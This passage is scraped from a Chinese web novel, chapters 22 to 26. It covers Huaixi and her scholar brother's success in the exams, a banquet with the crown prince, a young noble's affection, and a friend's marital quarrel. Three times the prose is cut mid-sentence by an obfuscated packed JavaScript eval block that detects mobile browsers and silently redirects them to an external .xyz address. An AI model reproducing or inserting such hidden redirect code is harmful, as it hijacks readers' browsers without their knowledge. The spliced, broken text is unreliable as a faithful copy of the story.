宋承云似乎画得认真,并未说话,只是摇头。 哪有人画人像看都不看主人一眼! 怀夕心里重重叹了口气,索性摸起手边的话本子,自顾自地看了起来。 雨滴敲打着窗檐,屋内轻浅的笔触声,怀夕在柔和的光线下缓缓闭上了眼睛,本子在手上虚虚捏着...... 再醒来的时候,宋承云就站在她身前,而她身上,多了一层小绒毯。 怀夕揉了揉眼,软软地喊了一声,“哥哥。” 语气还带着点迷糊。 宋承云收回目光,低沉应了一声,又走回书桌前。 怀夕推开小绒毯,坐了起来,将身上的衣物整理整齐后便跟着走到书桌前。 暗黄的纸张上,活灵活现地勾勒出一位半支着手读书的少女。 细微处,少女眉头微皱,黑名分明的眼眸尽显灵动。 这不就是怀夕刚刚歪躺着的模样吗? 怀夕细细地看着还有些墨迹未干的画,欣喜道:“我还以为哥哥不看我,画出来定然不像我,没想到哥哥画的这般好!” 书桌位置有限,两人几乎是衣袖连着衣袖。 怀夕抬头的时候,整张莹白小脸清晰印在宋承云眸里。 凝脂般的脸颊因睡觉姿势被压出一道粉红的印子,晕生双颊,嫣然含笑,乌圆清澈的眸底是毫不掩饰的崇敬与依赖。 怀夕向来爱捣鼓香料,今日熏的不知是什么香,清甜的馨香在空中氤氲着,像是初长成的果实,含苞待放,无意间展露着她的美好。 宋承云黝黑眼瞳细细一缩。 怀夕很喜欢,指着边上留白的位置,“哥哥怎么没落款?” 宋承云轻笑,拿起一旁未干的墨笔,行云流水落下伯卿二字。 字迹端方优雅,恰如其人。 - 金陵城确实比南方冷些,进入四月,天气才渐渐暖和。 怀夕这几日趁着天气晴朗,将她和哥哥的衣裳收出来晾晒。在屋里拿着衣服一比比,发现往年的衣裳都短了一小截。 怀夕想着,哥哥这两年也没裁几件衣裳,正好之前夏敏在她及笄的时候送过几匹布料在家,索性今日带去铺子里请绣娘量身做几套衣服。 她这边刚吩咐小艾收拾好布头,那边丁心兰就派画眉过来传话。 原来,丁心兰的表弟在金陵新开了一家铺子。 丁心兰籍属苏绣技艺一绝的苏宁,丁心兰的表弟于子恒不爱读书,叫丁心兰姨母愁坏眉头,软硬兼施都无用,她姨母不得已放弃,叫他跟着家中长兄一起打理家中产业。 却未想到,于子恒读书不行,做生意确是一把好手,不知得了什么消息,将自家的苏绣高于本地价格两倍三倍卖到各地去。 后来于子恒几番考察,见自家的苏绣在金陵城被炒的热火朝天,供不应求,便央了他娘亲,求了不少银两,在京中开了一家苏绣铺子。 今日便是那铺子开张,丁心兰想邀怀夕一家一起过去热闹热闹。 宋承云见妹妹兴致勃勃,倒也没推辞,放下手中的书跟他们一同前去。 于子恒确实很有些心思,在繁华的道柳街一下盘了三间门面。 打通之后,两边陈列着一排西域进来的琉璃柜,柜里展列着最时兴的苏绣样子,里头又用柔软的布帘隔了几间贵宾房,专做定制图样。 今日开张,于子恒大手笔,让绣娘绣了好些花鸟兽宠花样,做成香袋和手绢在铺子外分发,一时间门庭若市。 于子恒原本和掌柜亲自在店铺内招呼客人,看到丁心兰,立马迎了上来。 于子恒在生意场上打滚多了,惯是长袖善舞的,但一见到丁心兰,立马卸下伪装,露出原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14957180|159707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来面目。 “表姐,姐夫。” 于子恒其实也才刚满十六岁,见到亲人还有些稚气。在丁心兰夫妇一番夸赞下,不好意思地挠了挠头。 看到杨铭身边的宋承云和怀夕,又定了定神,问道:“这又是哪位贵人?” 杨铭立马为他介绍起宋承云来,于子恒听完,立马对着宋承云拱了拱手,“原来是宋举人,百闻不如一见,承蒙姐夫引荐,叫我终于见到传闻中的少年天才了。” 面对这样的赞扬,宋承云早已淡然,只是笑了笑。 于子恒把目光落到怀夕身上,见她站在宋承云身旁,一身鹅黄轻罗衣裙,肤白如雨后新剥鲜菱,清澈明亮的瞳孔尽是好奇与欣赏,心里好感顿时增了几分。 “这位便是宋夫人吧?”于子恒对着她拱手道。 怀夕忙着打量周围的一切,没听清,啊了一声? 丁心兰忙看了看眼宋承云,一手叩了于子恒眉间,“乱说什么呢,这是怀夕,宋举人的妹妹,算年龄的话,还比你小上一岁。” 于子恒忙向兄妹二人致歉,宋承云只是淡淡一笑,怀夕更不用说了,根本没听清他之前说了什么。 最后,几人逛了一圈,各挑了几个花样,又量了身,订做了几身衣裳。 怀夕向来是自来熟的性子,于子恒也是能说会道,知道怀夕只是宋承云妹妹后,也少了一些忌讳,加上怀夕比她小,他自然而然地亲近了几分。 楼下逛完后,于子恒又领着他们到了二楼。二楼是绣娘绣花样做衣服的地方,怀夕看了看绣娘让人眼花缭乱的针法后,问于子恒:“我有几匹料子,若送到你这来添些花样,可行?” “当然。”于子恒说道:“若你有喜欢的花样,也可描了送过来,我们这的绣娘手巧着......” 怀夕又细细问了几个问题,于子恒也都认真答着,两人在前面边走边说,走着走着倒是和其他人隔了好一段距离。 丁心兰被一个绣娘的手艺吸引,停住原地看着,杨铭也随他停下,落在最后。 怀夕和丁心兰姐弟都很自在,可杨铭就不一样了。 毕竟宋承云在,他很难心无旁贷地帮自家娘子选花样。 说句心里话,宋承云会一同前来,他是有些惊讶的。 不过也不算太意外,对门几年,亲眼所见,又听自家夫人多次讲述,多少知道宋承云对怀夕这个妹妹,几乎是百依百顺。 就如此刻,怀夕撇下他,与表弟在前头拿着几块布料不知在说些什么,宋承云也只是跟在他们后面一段距离,不远也不近,不去打扰妹妹的兴致。 但只要怀夕回头,又能立马看到他。 这不,怀夕跟于子恒说完,立马又走回宋承云身边。 铺子吵闹,她拉着宋承云的袖子,踮着脚在他耳边不知说些什么,唇角漾着笑,宛如春花明媚。 而宋承云任由她牵着,半低着头看着怀夕,听得认真。 杨铭心里犹如石落涟漪起,若不是自己早就知道他们是兄妹,或许他也会如同子恒一般,误会他们是情人...... 丁心兰见杨铭失神地盯着前面,推了推他。 杨铭这才回过神,再看他们兄妹,又隔了不小一段距离。 他摇了摇头,暗叹自己想太多了。 23. 第 23 章 满阶芳草绿,一片杏花香。桃花和杏花开的洋洋洒洒的时候,终于迎来发榜的日子。 十年寒窗苦读,一朝金榜题名。这样的日子,注定有人欢喜有人忧,但在结果揭晓之前,任何人都抱着希望。 放榜这日,天还未亮,发榜处已经密密麻麻站满了人。 宋承云会试结束那天,怀夕起了大早。可今日,直到辰时,宋家宅院还是十分宁静。 倒也不是怀夕不在意,而是去了也不一定挤的进去。且清河书院早早就派了人守在榜前,若是有学子中榜,去发榜处挤还不如去书院问问。 因此,宋承云提前交待好,不让怀夕去凑热闹。 待兄妹二人吃完早膳,松毫也从书院回来,后边还跟着一行上门庆祝的同窗。 不出所料,宋承云为榜首会元。 深僻的小巷子还没有这般热闹过,门外沾满了恭贺的人,不仅恭贺宋承云,也恭贺对面的杨铭。 原来,杨铭也榜上有名,且名次位列第八,也在前列。 喧喧闹闹谢酬了一日,第二日,宋承云同杨铭便回到书院,准备下一场决定命运的考试——殿试。 - 杏花落尽,芍药盛开,正是蟾宫折桂日。 新科进士御马游街那日,怀夕在人群中看着身穿大红袍,头戴金花乌纱帽的哥哥,激动地无法言语。 红色原本是热烈、温柔的颜色,可一身红色华服却将宋承云本就疏冷缥缈的眉眼衬得愈发冷清。 他跨坐在金鞍红鬃马上,身姿笔挺,目光平和地落在人群上,像是九天的神衹,晴云秋月,尘埃不到。 人声鼎沸,怀夕被人群推搡着,第一次发现,原来,哥哥这般耀眼。 子若青山立,家之坚后盾。琼林宴后,清河书院也办了一个简单的庆功宴,邀请学子家眷一同庆贺。 原本只是普通的庆功宴,可太子意外亲临让这个庆功宴变得不那么普通。 当今太子是皇帝元后唯一的孩子,元后与当今皇帝伉俪情深,可天不遂人愿,皇帝登基不到三年,皇后因病逝世,只留下年仅七岁的太子。 皇帝十分爱重元后给他留下的孩子,元后逝世后,将太子待在身边亲自教养,也再未立过皇后。即便后来沈贵妃宠冠后宫多年,诞下二子一女,太子的地位也从未变过。 参加庆功宴前,宋承云带着怀夕,先去拜见王老太师。 王老太师已经七十有余,前不久递上致仕的折子,皇帝念其年迈,又感念其功,破例加封太保,允其致仕。 王老太师出身名门,年轻时仕途并不算顺利,几经波折,后来被先帝指给当今皇帝做老师,仕途才慢慢顺利起来。官场浮沉中,早就练就一身宠辱不惊的本事。 大约是临老了悟到人生的真谛,反而孩子气起来,做事但凭心意,除了王老太太,几乎无人能左右他的想法。 不过,王老太师这样的转变,除了其子王楚修有些无奈,孙子辈的倒乐见其成。 人常说,青出于蓝而胜于蓝,可他们终其一生,都很难达到祖父的成就。但祖父常教导他们,人活一世,草木一秋,来如风雨,去似微尘,万物皆有回转,要他们切莫钻牛角尖,追求那些不属于自己的东西。 怀夕并不是第一次见王老太师,因夏敏认了她做干女儿,王家许多节庆怀夕也常常会出现,加上她前两年在夏敏开办的学堂里上学,碰面的机会不算少。 不知是爱屋及乌的缘故,还是本就喜欢怀夕自然懵懂的性子,王老太师夫妇对怀夕也颇有好感。 今日是书院的庆功宴,按礼每位学子带着家眷来拜见王老太师。 宋承云兄妹被请入正厅时,里头已经站着不少人,而坐在王老太师座下右侧的那位男子,暗紫色直襟长袍,腰封处坠翡翠麟纹玉佩,脚踏黑色云纹长靴,气宇轩昂。 这便是当朝太子。 太子虽为储君,却也是王老太师的学生,今日是以学生的身份赴宴,因此并未坐在主位上。只不过他眉宇间自带一股运筹帷幄的沉稳气度,虽没有点破身份,可厅上的人看到裴世子也只能站在他身后时,心里也大概有了猜测,不自觉肃静起来。 宋承云并不是第一次见太子,但见王老太师和太子都没有点破身份,携怀夕向王老太师夫妇行礼后,又向座上的太子行礼,便退到一侧,也未向怀夕多透露一句。 怀夕安静地跟在宋承云身后,除了问安,便未再抬头,因此,也未注意到太子身后的裴劭。 太子今日,虽是以学生身份赴宴,但其实大家心知肚明,他是提前来看看今年中榜的学子。 一番观察和交流下,太子也记住了几个名字,除了老太师爱重的弟子宋承云,还有苏宁的杨铭,分宜的李凯之...... 所行收获颇丰,太子心中颇为满意。很快,王老太师站起来,中气十足:“园中已敬备薄酬,请各位移步吧。”说完,他朝太子伸手,请他先行。 老太师夫人心细,见许多学生家眷颇为拘束,继续说道:“一日为师,终身为父。今日只是家宴,园中已备曲水流觞宴,请诸位自便。” 待出了前厅,宋承云被王司时和几位同窗叫住。 宋承云回头看了看身后的怀夕,小姑娘也遇到几位同伴,顺着她的视线,看到王郁心在叫她过去,宋承云看了她一眼,便跟着王司时一同绕回前厅上去了。 - 王老太师风雅趣味,书院各处都装点的颇为雅致。会客的前厅,两边轩窗大开,左边窗外是参天古木,翠竹轻摇。右边窗外是水榭回廊,蜿蜒曲折。 而此时王老太师请辞去更衣,厅上只余太子和裴劭二人。 没了旁人,太子神色也放松了几分。 窗外绿叶飒飒作响,太子放下手中清茶,看向他从前的伴读裴劭。 “我以为你喜欢的会是那种温柔娴静的大家闺秀。”太子说得漫不经心,“像是沈贵妃的侄女就颇有才名。” 裴劭听完皱了皱眉,似想分辨太子此话有无其他深意。 他自小作为太子的伴读,对太子的处境也略知几分。虽说皇帝对太子自小爱重,可太子之位,谁敢说做得十稳九当。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14969137|159707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宠冠六宫的沈贵妃,毕竟有皇子,且贵妃的哥哥,是当朝首辅沈震...... 裴劭听完太子的话的确心惊了一会,难道太子是需要他...... 太子的确只是闲聊,但见裴劭如临大敌,只好笑道:“你莫要想太多,我只是玩笑。且就算你喜欢,沈震也未必愿意将她的女儿嫁给你。” 毕竟,裴劭是他的人。 裴劭随之松了口气。 太子觉得好笑,嘴角扬着浅浅的弧度,意有所指道:“倾国倾城不至于,倒是十分清秀灵动,难怪入了我们裴世子的眼.......” “不过,她有那样的哥哥,你未必能抱得美人归......” 怀夕一直低着头,宋承云虽不时与人交谈,却一直将她护在身后,太子也不好真一直看着人家。 不过就一两眼,也看了个大概。 谈不上多美貌,不过那双灵动清澈的杏子眼,叫人过眼难忘。 太子知道怀夕的存在,不是因为宋承云,而是因为裴劭。 裴劭作为他的心腹之一,边疆之行是他安排的。他身边武将不多,父皇将世袭将军的裴劭放在他身边作为他的伴读,的确是深谋远虑。 父皇渐渐老了,以首府为代表的内阁势力却如参天大树,不停壮大,盘根错节。 用人如器,只要能物尽其用,就是一把趁手的好刀。 太子并不认为首辅做错了什么,身在其位谋其政,除了贪权贪财,首辅的能力有目共睹。但不管他的野心膨胀到哪一步,兵权,江山,都不是他能染指的。 他欣赏强者,眼下首辅和贵妃虽没有露出可疑的痕迹,可他却要未雨绸缪。 识人善用,是父皇教他的第一节课,所以,他才会出现在这里。武能安邦,文亦能治国。这一批学子,尤其是宋承云,目前看来,就很好。 如今西北的领将,是从前裴劭的父亲裴琨的副将简虎,尸骨战场中存活下来的常胜将军,要收服他,靠得不只是权力,而是要他彻底的信服。 裴劭注定要替他守在边疆的。 听闻宋承云家中只余兄妹二人,看他对这个妹妹十分在意的模样,不一定舍得让她远去西北...... 裴劭因父亲战功,自小便袭了爵,又加上是太子伴读,身份显赫。上天似乎也不忍他年少失去双亲,所以赐了他一副丰神俊美的好模样。也因此,他在金陵城自来是受追捧的对象,这也使得他的性子愈发落拓不羁。 可就是这样的人,在听到太子的话后罕见地滞了一滞,耳尖肉眼可见地变成粉色。 要说是什么时候动心,裴劭其实有些拿不准。 是元宵灯会上,眉眼半笼在兜帽内的女子毫不相让,说灯是她先看上的时候。 又或许是后来再见时,女子展开手中的铜钱,递还给他,他心头突然涌上一股喜悦时。 但不可否认,去年重阳,在青元后山,自己彻底明白,对她的心意。 原来初遇故意刁难,再遇时的失落与欣喜,和后来次次相见时的拘谨和期待,统统叫做喜欢。 24. 第 24 章 这次曲水流觞宴是夏敏亲自筹办的,甚是有新意。 男女宾分开就坐,中间只用屏风帷幔隔着,因都是家眷,倒不用泰国避讳,四周皆是敞开。 花树点缀,清泉潺潺流淌。酒足饭饱后,宾客三两聚起,游园闲聊。 怀夕本是与王郁心和丁心兰同桌而食的,但吃了一半,娇娇不肯,丁心兰只好带她去那边水池看游鱼。 王郁心很快也被夏敏叫走。 因是家宴,仆妇们都留在外院,怀夕一人吃着无趣,又不知道帷幔对面哥哥是否吃完,便落下筷子想去找丁心兰。 可刚走到回廊,迎面就走来一人,挡住她前行的路。 “裴世子?”怀夕有些惊讶,“你怎么也在这?” 裴劭低声一笑,反问道:“我怎么不能在这?” 是哦,这是他姨母家...... 怀夕讪讪笑道:“我以为你未参加科考...” “啊,我不是那个意思......”她不是说他未中榜就不能来参加...... 啊,怎么觉得解释了反而更奇怪? 裴劭看着怀夕语无伦次,眼角眉梢俱是笑意,“你的脚好全了吗?我给你的药可用完了?” 裴劭给自己解了围,怀夕乐得其成。 “还没用完,不过已经好了。”她笑着说道:“跑起来也不痛了。” “你呢?你的伤好了吗?” 她以为他伤得不厉害,可上次问他又说伤还没好,怀夕不免也有些愧疚。 想到上次意外撒的小谎,裴劭有些尴尬,含糊地说道:“也好了。” “那就行。” 裴劭还想说些什么,就听到有人唤怀夕的名字,他也跟着看过去, 原来是丁心兰抱着娇娇走过来。 怀夕绕过裴劭,笑着迎上去,将娇娇接过来,在娇娇白嫩的脸上重重亲了一下。 ...... 不知为何,裴劭听到那声音,肉眼可见地僵硬了一瞬,很快就告辞回了宴场。 丁心兰看了眼正逗弄娇娇的怀夕,又看了眼连背影都有些慌乱的小世子,眼神转了转。她从怀夕手里将娇娇抱下来,让她自己在旁边玩,她则与怀夕坐在廊檐边上。 “刚刚过来的路上,见到你哥哥被几个小娘子围住了。”丁心兰笑道:“金陵的女子果然大胆些。” 怀夕卷了卷衣摆,叹了口气,“别提了,刚刚也有好几个姨婆拉着我问我哥哥喜欢什么样的女子。” 怀夕丝毫不意外,哥哥是状元郎,又生的那般好。王老夫人和干娘也问过她同样的问题,她们说哥哥到了成婚的年纪。 可她哪里知道哥哥喜欢什么样的女子。 虽不清楚,但被问得多了,她也大概知道怎么回答了。 她想,小时候哥哥总嫌他吵闹,那他肯定喜欢安静的女子。外貌呢,她设身处地想一想,当然好看些更好。性子呢,别像她这般调皮,持重些...... 总之,听她说完,王老夫人和干娘都点了点头,似乎也很赞同。 听到怀夕的说辞,丁心兰噗嗤一笑,她也想象不出来怀夕那清隽疏淡的状元郎哥哥会喜欢什么的女子。 想过刚刚慌乱逃走的裴劭,丁心兰试探地问道:“那你与那裴世子...?” 丁心兰顿了一下,怀夕没等到她的下文,疑问道:“什么?” 丁心兰看着怀夕一脸懵懂的模样,心下暗叹,小姑娘估计还没开窍呢。 恐怕是神王有意,襄女无心...... 当事人都不清楚,她也不好点破,索性闲聊起其他来了。 - 清河书院离布石街并不远,平日宋承云多是打马来回。只是今日席上同窗多番庆贺,喝了些酒,王夫人特意让马车送他们兄妹回来。 暮春时节,夕阳不舍,仍悬挂在苍穹之上。凌阳河岸边绿树成荫,河面上是斑驳的翠色和粼粼的金光。 怀夕把窗帘落下后,春光刹那隔绝在窗外,马车内只余夕阳昏黄暗光。 即便有些醉意,宋承云仍昂然端坐着。 雪衣黑发,身姿挺拔,风骨自成。 半昏的光影为他清淡的眉眼镀上一层暖色,半耷的眼睑下淡淡的胭色隐隐泄露了一丝醉态。 怀夕半起身,重新落座在宋承云身旁。 坐在正中的男子似是没发现,眼眸仍然半闭着,待两边太阳穴被一双带着暖意的柔手轻轻按压着,他神情才蓦然一敛,无声地睁开了眼。 瞳眸是纯粹的黑,像揉碎的云雾深不见底,冷冷清清,日光暖色也很难在他身上落下痕迹。 他一睁眼,怀夕便关切地凑到他眼前,询问:“哥哥可是头痛?” 其实,宋承云的酒量不算好,只是他喝醉后也从未过醉态,所以很少人知道。 怀夕摸不准他是否真的喝醉,但见哥哥眉峰紧皱,知道这是他头痛时常有的姿态,所以才凑过去想替他减轻一些痛楚。 宋承云看着离自己不足一掌远的莹白小脸,轻恩了一声,又闭上眼。 太阳穴又被轻轻按了起来...... 力度太轻,她呼吸时的气息打在脸上,宋承云觉得脸上痒痒的,下意识想拂开那双软绵绵的手。 感受到哥哥深吸了口气,怀夕以为自己按的不舒服,就要收回手时,就听到清泠泠的声音。 “重一些。” 许是喝了酒,宋承云平日清冽的声音在此刻显得又低又沉。 怀夕加重手上的力度。 就算是坐着,宋承云也比怀夕高出一大截,怀夕侧着身,没一会,抬着的手开始感觉到酸意,端坐着的身子也慢慢倚靠到宋承云手臂上...... “好了。”手臂上淡淡温热,宋承云倏地睁开眼。 靠坐在他身侧借力的怀夕也立马收回手,边揉着自己的手腕边转头来看他,神情疑惑。 哥哥没说话,但眼神比刚刚清明了几分,怀夕稍微放下心,她将自己的手腕送到他眼前,明眸弯弯。 “手酸。” 许是酒意上头,看着妹妹桃花般粉嫩的脸上俱是促狭的笑意,宋承云怔怔地没说话。 待怀夕把手落到他掌心时,被酒气酝得越发黑濯的眼眸才动了动,他抬起另一只手,隔着 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终归妹妹什么都不懂,无论是什么的目光都不重要,他会替她挡住那些不必要的打扰。 但... 她待裴劭好似不同些,他隐约能感受到她们两人之间流淌着某一种默契。 在他没看到的地方,他们似乎交集过多次,只是妹妹不讲,他也没问。 - 殿试之后,宋承云被授官翰林院编修,而丁心兰的丈夫杨铭被授官翰林院检讨,两人都留京任用,双方家眷也少了离别的忧愁。但是,被授官后,就不好继续租住在布石街的小宅院了。 丁心兰就不用说了,出身富庶商户,在布石街住纯粹也是为了丈夫进学便利,如今有了孩子,宅院更显拥挤,所以,很快就找到另一座心仪的宅院,等过了手续就举家搬过去。 宋承云和怀夕比丁心兰夫妇还更快搬走。 决定搬走后,宋承云便让松毫找了牙行,几日就定下宅院,又买了几个仆人,直接安排进里头收拾。 夏敏原本还想替他们张罗新住处,待她同怀夕提出哪一出的宅子颇为雅致,适合居住时,才得知他们不日就要搬到择好的住处。 新的宅院位于长安官街,处于繁华之地,因这里住的大多都是朝廷官僚,此处治安十分安定。 这座宅子的主人因被外派扬州签判,举家搬离,所以才空出这套宅子。价钱自然不在少数,不过这几年,除当初宋承云与二房分家后分得的那些银钱商铺外,族里每年都会差人将族里的生意分红送到金陵,所以兄妹二人的积蓄倒是挺可观。 当初分家后,宋承云便将大房全部身家交给怀夕,因此每年和泸州的商铺和族里的书信往来,都是由怀夕处理着。这座宅院虽费了不少钱财,不过于他们兄妹来说,不是问题。 宅院大了,仆人也要增多。除了外院奔走的小厮护卫,内院的,宋承云让牙行送了人来,让怀夕亲自挑选。 宋承云还未成亲,内院还没有女主人,一应事宜皆按兄妹以往的习惯安排。 25. 第 25 章 宋承云兄妹二人都不喜仆妇成群,且怀夕也习惯事事亲力亲为,连膳食都常常亲自动手,因此怀夕只从牙行送来里的人挑了两个年纪不大的丫鬟,唤他们原来的名字,琥珀和翡翠。 琥珀和翡翠年纪仅年满十四,不过看着却十分沉稳。怀夕看中他们,是因为牙行送来的人中,只有她们两个,被领进内院后,从未抬头打量周围。 怀夕便是看中她们这股沉稳气质,小艾与她都是大咧咧的性子,身旁多一些心细的人总是好的。 新宅院是一座三进院落,比从前宽阔不少。怀夕搬进三进院,宋承云则住在二进院中的东厢房。待一切都安排妥当,已经花了半月有余。 两人所住虽只是一院之隔,但因宋承云如今早出晚归,怀夕每日多在落日余晖后才能见到他。不过怀夕已经很满足了,宋承云不在的时候,她也没闲着,小日子安排得很充实,每天院子里都欢声笑语。 - 八月盛夏,晴空万里,天上不见一丝云彩。 院子里的老槐树被晒得滚烫,枝叶无精打采地?低垂着,鸣蝉被烘烤得十分聒噪。 松毫从垂花门走了出来,吩咐外院的小厮去找网扑子把蝉网下来,来回一番走动,再回到书房旁侧歇息的耳房后,已是满头大汗。 老槐树年代久远,枝叶繁茂,盖住半边书房。 虽蝉鸣吵了些,可屋内明显比外头凉快不少, 当然,只靠枝叶避暑是不够的,书房比平日多放了几盆水栽植物,窗边榻上还放了一个冰盆,雾气在榻上女子摇扇间如雾消散开来。 怀子十分畏热,即便手上摇着扇子,嘴里刚吃完一碗冰碗,颊边还是热出微汗。 看着桌上另一碗快融化的冰粉圆子,她抬头看了看那边桌前正襟危坐的人儿。 桌前,宋承云只着一袭青衫,面容清疏。他手里握着书,长睫在脸上落下淡淡阴翳,整个人透出冰雪般的宁静。 感受到怀夕的视线,他目光从书上抽离开,瞥向怀夕,天生疏冷的眼里染上两分淡淡的疑惑。 “哥哥不热吗?”怀夕摇扇子的动作不停,疑惑问道。 “很热吗?”还好,心静自然凉。 宋承云看着怀夕向她走过来,才发现小姑娘鬓边发丝被汗浸透,湿湿沾在颊边。 “让松毫再送一个冰盆进来吧。” 怀夕微微歪头,想了想,外头那么热,现在也做不了什么。左右还是哥哥这里凉爽些,正想应好,门外刚好响起敲门声。 “进来。”宋承云应道。 松毫进来后,只停在门框边上,低着头说道:“姑娘,是杨夫人来了。” “杨夫人?你是说圆圆姐姐?”怀夕声音里不掩雀跃,之后看向宋承云,又觉得有些奇怪,今日可是官员休沐日。 “难得杨大人今日休沐,圆圆姐姐怎么会过来?” 天气这么热,按圆圆姐平日作风,应是十分懒得出门才对。 不过也来不及多想,怀夕转身回榻边,将桌上另一碗冰碗捧到哥哥旁边,笑着说道:“哥哥不热也吃了这碗冰碗解解暑吧。”边向门外走着边说:“圆圆姐姐或许有什么事,我去看看。” 说完后,也不等屋内的人答话,拉上门就走了。 宋承云看着最后一丝浅绯色的褥裙被门隔断,淡淡收回目光,又拿着桌上的书本。 桌上碧绿碗中冰屑早已消融,翠滴滴的几颗青李子和玲珑圆子漾在上面,这样甜腻的东西,宋承云向来吃不惯。只是过了一小会,他还是放下刚拿起来的书本,修长如玉的手落到碧绿碗沿边。 - 丁心兰的女儿娇娇一看到怀夕,就朝怀夕扑了过来,小小的人儿有着大大的力气,差点将怀夕扑倒。 怀夕顺势将她抱起,笑着亲亲她的脸颊,才转过头和丁心兰见礼。 丁心兰看着与往日未有不同,见到怀夕还是那副温柔浅笑的模样,怀夕一手抱着娇娇,一手亲热地拉着她进了自己的屋子。 娇娇吃了一盏冰碗,在怀夕的屋子里新奇地跑了好几圈后,很快就犯起困来。 怀夕觉得好笑,刚刚还精力旺盛的小人儿一瞬仿佛没了力气,软糯糯地被丁心兰抱在怀里打瞌睡。 怀夕让小艾把娇娇抱到她床上睡觉,她和丁心兰这才闲下来说话。 说了话,怀夕多少还是发现丁心兰与往日有些许不同的。明明专程过来看她,可明显,有些心不在焉。怀遂些担忧问道:“姐姐是有些不舒服?” 丁心兰跟着丈夫离开故土和亲人,来到金陵,几年来,身边熟悉亲近的,也就怀夕一个。 怀夕一问,她便有些红了眼眶。 只是怀夕还是闺中女儿,有些话不好同她细说。 丁心兰咬着唇,强颜欢笑,“在院里呆的有些烦腻了,正好娇娇一直念叨着要来看你,就过来了。” 其实也是临时起意过来,实在不想在家中看见丈夫为难的样子。 “姐姐不肯说,可是信不过夕儿?”怀夕将丁心兰的手牵过来,笑着说道,“我娘亲从前常说我不谙世事,是个空心包子。或许帮不上姐姐的忙,但愿一听,能稍解姐姐一些忧愁。” 丁心兰被怀夕逗笑,什么空心包子。不过心里憋得久了,她也希望能有人听听自己的委屈。 于是,她也没隐瞒,“是我婆母要过来......” 杨铭是独子,既然在京做官,家里双亲迟早是要接过来的。丁心兰早早就做好了准备,宅子里一应物品都收拾齐全,就等公婆过来。 可公婆还没到,杨铭的表妹倒是先到了。 杨铭的表妹已待了待嫁的年龄,算来还比怀夕大上两岁。丁心兰也是今日才得知,杨铭这表妹小时曾在杨铭家里寄养了几年,与杨铭正是传说中的青梅竹马。 当初嫁给杨铭,其实也是自己挟恩求报,她父亲曾经在危难时救了杨铭父亲,后来,杨铭读书有成,公父便与他们家缔结婚约。 她对杨铭一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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于是,夫妻在本该休憩的午后开始争吵起来,后来不知道杨铭哪句话惹到丁心兰的伤心处,大热中午的,丁心兰撂下一句“她不走,我走”后,就带着女儿来到怀夕这了。 丁心兰一边说着,一边掉着眼泪。 怀夕一直帮她擦着眼泪,静静地听她说完。 丁心兰其实也不用怀夕说什么,她身边没有任何亲人,只是想有人听听她的委屈。 其实她并没有不信任丈夫,夫妻多年,她不会不知道丈夫说得是不是真话。 可是,他怎么可以不推开他表妹呢? 什么叫清者自清,丁心兰知道自己说不过丈夫,索性不想同他说了。 左右不过和离,实在不行,她便带着娇娇回苏宁,他杨家想生几个儿子就找人替他生去。 将心里话都说出来后,丁心兰舒服了不少,心中默默下了决定,心也安稳下来。 看着怀夕听完后一脸懵懂又气愤的模样,丁心兰反而觉得好笑,接过她手里的帕子自己擦干眼泪,说道:“让妹妹见笑了。” “不过,妹妹已过了及笄之年,姐姐的前车之鉴,你且当教训听着,好叫你将来找夫君的时候要看清楚些,莫让男子的外貌迷惑了去。”丁心兰恨恨说道,“男子的外貌,是最百无一用的。” 26. 第 26 章 当初,若不是被杨铭清俊的脸庞和一身读书人的孤傲风姿吸引,她哪里会答应这门亲事,远离故土。 怀夕似懂非懂地点点头。 丁心兰东一块西一块地倾吐着,前因后果怀夕听得有些晕乎,不过大致听明白了,就是有人要来抢圆圆姐姐的相公。不过,圆圆姐姐伤心的不是有人来抢她的相公,而是她的相公没有明确表示拒绝,所以圆圆姐姐生气了,欲抛弃她的相公回娘家去了。 虽然不是很能理解丁心兰的心情,但鉴于她对丁心兰的了解和偏爱,她绝不是无理取闹的人。 所以,她得出一个结论:定然是杨大哥做错了。 想到不日就要离开金陵,恐怕以后也无法替怀夕把把眼,丁心兰打开话篓子一般,想将毕生所知道的经验告诉怀夕,“不过话又说回来,有些时候,相貌端正也不全是坏事。我听我娘亲说起我老家的姨婆,年轻时嫁了个相貌不那么周全的书生,后来那书生考上秀才后,往家里领了好几房妾室,可见辨别男子好坏,不能完全以外貌概之。” 怀夕边帮丁心兰斟茶,边表示赞同,“姐姐说得有理,那这样说来,还是找个端正些的,至少平日看着悦眼些。” “......”丁心兰滞了一下,她倒不是这个意思,不过再细想,也是这个道理,于是拿起怀夕推过来的茶杯,也点了点头。 有一搭没一搭地说着,丁心兰忽然看了看周围,见没人,朝凑近,低声问道:“你同姐姐说实话,你觉得那裴世子如何?” 裴劭? 如何? 不知道怎么突然提出裴劭,怀夕愣了一愣,在丁心兰殷切的目光中歪了歪脑袋,似在认真想着说辞,好一会才憋出一句,“他挺仗义的啊。” 丁心兰皱了皱眉,说:“不是这个。” “那是哪个?” 丁心兰叹了口气,知道不直白说怀夕定然听不懂,只好解释道:“就是作为男子,你觉得怎么样?” 联系刚刚二人讨论过的话题,怀夕好似有些明白丁心兰的意思。 